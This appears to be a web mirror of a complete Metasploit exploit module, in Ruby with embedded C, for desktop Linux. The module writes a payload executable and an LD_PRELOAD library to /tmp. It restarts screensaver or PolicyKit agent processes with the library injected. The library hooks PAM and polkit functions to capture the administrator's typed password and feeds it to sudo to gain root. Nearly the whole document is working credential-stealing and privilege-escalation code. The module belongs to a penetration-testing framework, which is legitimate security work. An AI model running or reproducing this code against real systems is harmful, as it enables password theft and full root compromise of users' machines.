Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/local/desktop_privilege_escalation.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'base64'6require 'metasm'78class MetasploitModule < Msf::Exploit::Local9Rank = ExcellentRanking10include Msf::Exploit::EXE11include Msf::Post::File1213def initialize(info={})14super( update_info( info, {15'Name' => 'Desktop Linux Password Stealer and Privilege Escalation',16'Description' => %q{17This module steals the user password of an administrative user on a desktop Linux system18when it is entered for unlocking the screen or for doing administrative actions using19PolicyKit. Then, it escalates to root privileges using sudo and the stolen user password.20It exploits the design weakness that there is no trusted channel for transferring the21password from the keyboard to the actual password verification against the shadow file22(which is running as root since /etc/shadow is only readable to the root user). Both23screensavers (xscreensaver/gnome-screensaver) and PolicyKit use a component running under24the current user account to query for the password and then pass it to a setuid-root binary25to do the password verification. Therefore, it is possible to inject a password stealer26after compromising the user account. Since sudo requires only the user password (and not27the root password of the system), stealing the user password of an administrative user28directly allows escalating to root privileges. Please note, you have to start a handler29as a background job before running this exploit since the exploit will only create a shell30when the user actually enters the password (which may be hours after launching the exploit).31Using exploit/multi/handler with the option ExitOnSession set to false should do the job.32},33'License' => MSF_LICENSE,34'Author' => ['Jakob Lell'],35'DisclosureDate' => '2014-08-07',36'Platform' => 'linux',37'Arch' => [ARCH_X86, ARCH_X64],38'SessionTypes' => ['shell', 'meterpreter'],39'Targets' =>40[41['Linux x86', {'Arch' => ARCH_X86}],42['Linux x86_64', {'Arch' => ARCH_X64}]43],44'DefaultOptions' =>45{46'PrependSetresuid' => true,47'PrependFork' => true,48'DisablePayloadHandler' => true49},50'DefaultTarget' => 0,51}52))53register_advanced_options [54OptString.new('WritableDir', [true, 'A directory for storing temporary files on the target system', '/tmp'])55]56end5758def check59check_command = 'if which perl && '60check_command << 'which sudo && '61check_command << 'id|grep -E \'sudo|adm\' && '62check_command << 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1;'63check_command << 'then echo OK;'64check_command << 'fi'6566output = cmd_exec(check_command).gsub("\r", '')6768vprint_status(output)6970if output['OK'] == 'OK'71return Exploit::CheckCode::Vulnerable72end7374Exploit::CheckCode::Safe75end7677def exploit78# Cannot use generic/shell_reverse_tcp inside an elf79# Checking before proceeds80pl = generate_payload_exe8182exe_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.elf"8384print_status("Writing payload executable to '#{exe_file}'")85write_file(exe_file, pl)86cmd_exec("chmod +x #{exe_file}")878889cpu = nil90if target['Arch'] == ARCH_X8691cpu = Metasm::Ia32.new92elsif target['Arch'] == ARCH_X6493cpu = Metasm::X86_64.new94end95lib_data = Metasm::ELF.compile_c(cpu, c_code(exe_file)).encode_string(:lib)96lib_file = "#{datastore['WritableDir']}/#{rand_text_alpha(3 + rand(5))}.so"9798print_status("Writing lib file to '#{lib_file}'")99write_file(lib_file,lib_data)100101print_status('Restarting processes (screensaver/policykit)')102restart_commands = get_restart_commands103restart_commands.each do |cmd|104cmd['LD_PRELOAD_PLACEHOLDER'] = lib_file105cmd_exec(cmd)106end107print_status('The exploit module has finished. However, getting a shell will probably take a while (until the user actually enters the password). Remember to keep a handler running.')108end109110def get_restart_commands111get_cmd_lines = 'pidof xscreensaver gnome-screensaver polkit-gnome-authentication-agent-1|'112get_cmd_lines << 'perl -ne \'while(/(\d+)/g){$pid=$1;next unless -r "/proc/$pid/environ";'113get_cmd_lines << 'print"PID:$pid\nEXE:".readlink("/proc/$pid/exe")."\n";'114get_cmd_lines << '$/=undef;'115get_cmd_lines << 'for("cmdline","environ"){open F,"</proc/$pid/$_";print "$_:".unpack("H*",<F>),"\n";}}\''116117text_output = cmd_exec(get_cmd_lines).gsub("\r",'')118vprint_status(text_output)119120lines = text_output.split("\n")121122restart_commands = []123i=0124while i < lines.length - 3125m = lines[i].match(/^PID:(\d+)/)126127if m128pid = m[1]129vprint_status("PID=#{pid}")130print_status("Found process: " + lines[i+1])131132exe = lines[i+1].match(/^EXE:(\S+)$/)[1]133vprint_status("exe=#{exe}")134135cmdline = [lines[i+2].match(/^cmdline:(\w+)$/)[1]].pack('H*').split("\x00")136vprint_status("CMDLINE=" + cmdline.join(' XXX '))137138env = lines[i+3].match(/^environ:(\w+)$/)[1]139restart_command = 'perl -e \'use POSIX setsid;open STDIN,"</dev/null";open STDOUT,">/dev/null";open STDERR,">/dev/null";exit if fork;setsid();'140restart_command << 'kill(9,' + pid + ')||exit;%ENV=();for(split("\0",pack("H*","' + env + '"))){/([^=]+)=(.*)/;$ENV{$1}=$2}'141restart_command << '$ENV{"LD_PRELOAD"}="LD_PRELOAD_PLACEHOLDER";exec {"' + exe + '"} ' + cmdline.map{|x| '"' + x + '"'}.join(", ") + '\''142143vprint_status("RESTART: #{restart_command}")144restart_commands.push(restart_command)145end146147i+=1148end149150restart_commands151end152153def c_code(exe_file)154c = %Q|155// A few constants/function definitions/structs copied from header files156#define RTLD_NEXT ((void *) -1l)157extern uintptr_t dlsym(uintptr_t, char*);158// Define some structs to void so that we can ignore all dependencies from these structs159#define FILE void160#define pam_handle_t void161extern FILE *popen(const char *command, const char *type);162extern int pclose(FILE *stream);163extern int fprintf(FILE *stream, const char *format, ...);164extern char *strstr(const char *haystack, const char *needle);165extern void *malloc(unsigned int size);166167struct pam_message {168int msg_style;169const char *msg;170};171172struct pam_response {173char *resp;174int resp_retcode;175};176177struct pam_conv {178int (*conv)(int num_msg, const struct pam_message **msg,179struct pam_response **resp, void *appdata_ptr);180void *appdata_ptr;181};182183void run_sudo(char* password) {184FILE* sudo = popen("sudo -S #{exe_file}", "w");185fprintf(sudo,"%s\\n",password);186pclose(sudo);187}188189int my_conv(int num_msg, const struct pam_message **msg, struct pam_response **resp, void *appdata_ptr) {190struct pam_conv *orig_pam_conversation = (struct pam_conv *)appdata_ptr;191int i;192int passwd_index = -1;193for(i=0;i<num_msg;i++){194if(strstr(msg[i]->msg,"Password") >= 0){195passwd_index = i;196}197}198int result = orig_pam_conversation->conv(num_msg, msg, resp, orig_pam_conversation->appdata_ptr);199if(passwd_index >= 0){200run_sudo(resp[passwd_index]->resp);201}202return result;203}204205int pam_start(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh) __attribute__((export)) {206static int (*orig_pam_start)(const char *service_name, const char *user, const struct pam_conv *pam_conversation, pam_handle_t **pamh);207if(!orig_pam_start){208orig_pam_start = dlsym(RTLD_NEXT,"pam_start");209}210struct pam_conv *my_pam_conversation = malloc(sizeof(struct pam_conv));211my_pam_conversation->conv = &my_conv;212my_pam_conversation->appdata_ptr = (struct pam_conv *)pam_conversation;213return orig_pam_start(service_name, user, my_pam_conversation, pamh);214}215216void polkit_agent_session_response (void *session, char *response) __attribute__((export)) {217static void *(*orig_polkit_agent_session_response)(void *session, char* response);218if(!orig_polkit_agent_session_response){219orig_polkit_agent_session_response = dlsym(RTLD_NEXT,"polkit_agent_session_response");220}221run_sudo(response);222orig_polkit_agent_session_response(session, response);223return;224}225|226c227end228end229230231232